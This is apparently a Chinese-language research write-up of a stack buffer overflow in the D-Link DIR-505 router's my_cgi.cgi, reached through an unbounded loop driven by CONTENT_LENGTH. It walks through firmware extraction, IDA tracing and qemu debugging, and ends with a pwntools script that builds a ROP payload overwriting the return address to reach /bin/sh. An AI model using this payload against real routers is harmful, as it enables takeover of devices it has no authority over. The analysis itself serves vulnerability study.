D-Link DIR-505便携路由器越界漏洞分析
[TOC] D-Link DIR-505便携路由器越界漏洞分析 这里介绍另一种方式提取文件系统(虽然失败了...失败原因注释中) dd if=DIR505A1_FW108B10.bin skip=1048660 bs=1 of=dir505.sfs dd 可以跨文件、设备、分区和卷复制数据 if 标准文件输入 of 标准文件输出 bs 块大小 skip用于跳过指向固件二进制映像中特定地址的指
[TOC]
D-Link DIR-505便携路由器越界漏洞分析
这里介绍另一种方式提取文件系统(虽然失败了...失败原因注释中)

dd if=DIR505A1_FW108B10.bin skip=1048660 bs=1 of=dir505.sfs
dd可以跨文件、设备、分区和卷复制数据if标准文件输入of标准文件输出bs块大小skip用于跳过指向固件二进制映像中特定地址的指针
最终得到dd命令分割之后的文件dir505.sfs,这是一个存储Squashfs文件系统的文件。之后可以使用unsquashfs工具来对其中的文件系统进行提取。提取完成后会自动创建一个squashfs-root文件夹。
失败原因注释:文件内容结尾填充了别的数据,导致解压失败。
1,新建查找溢出参数

2,根据交叉引用功能,找到引用此字符串的函数

3,切换到IDA的graph overview模式下,整体分析get_input_entries函数流程

4,分析每个参数来源(关键)
参数的来源不一定全在本函数内,也可能来至传进来的参数,因此需要回溯函数去跟踪找出对应的源头。


查看引用get_input_entries函数的函数:



5,回到get_input_entries函数继续分析

6,

由于循环次数未作限制,导致可利用点:

跟踪过程:
get_input_entries(s0,s2)
s0->sp-0x74920[477450]
s2->v0=strtol(v0,0,10)(v0保存函数返回值的寄存器)->v0= getenv(CONTENT_LENGTH)返回值
s2->v0=strtol(getenv(CONTENT_LENGTH),0,10)
IDA动态调试验证
1,调试脚本:
#!/bin/bash
# 待执行命令
# sudo ./my_cgi.sh
INPUT=`python -c "print 'storage_path='+'B'*477472+'A'*4"`
LEN=$(echo -n "$INPUT" | wc -c) # 参数1的长度
PORT="1234" # 监听的调试端口
# 用法错误则提示
if [ "$LEN" == "0" ] || [ "$INPUT" == "-h" ] || [ "$UID" != "0" ]
then
echo -e "\nUsage: sudo $0 \n"
exit 1
fi
# 复制qemu-mipsel-static到本目录并重命名,注意是static版本
cp $(which qemu-mips-static) ./qemu
# | 管道符:前者输出作为后者输入
# chroot 将某目录设置为根目录(逻辑上的)
echo "$INPUT" | chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="multipart/formdata" -E SCRIPT_NAME="common" -E REQUEST_METHOD="POST" -E REQUEST_URI="/my_cgi.cgi" -E REMOTE_ADDR="127.0.0.1" -g $PORT /usr/bin/my_cgi.cgi
#CONTENT_TYPE="multipart/form-data"这个做了修改(少了个-,其他修改没试,有兴趣的自行测试),不知道为什么修改就断不下来在get_input_entries函数
echo 'run ok'
rm -f ./qemu # 删除拷贝过来的执行文件
2,设置断点在get_input_entries函数
确实控制了RA的值

3,构造ROP

#!usr/bin/python
from pwn import *
context.endian="big"
context.arch="mips"
payload = "storage_path="
payload += "a" * 0x7490a
payload += "b" * 0x16
payload += p32(0x00404EA0)
payload += "c" * 0x8C
payload += "/bin/sh\x00"
with open("payload",'wb') as f:
f.write(payload)
f.close()
总结
分析过程主要说明了如何根据汇编利用逆向基础去回溯数据来源,对于找到漏洞输入点是一件十分重要的工作。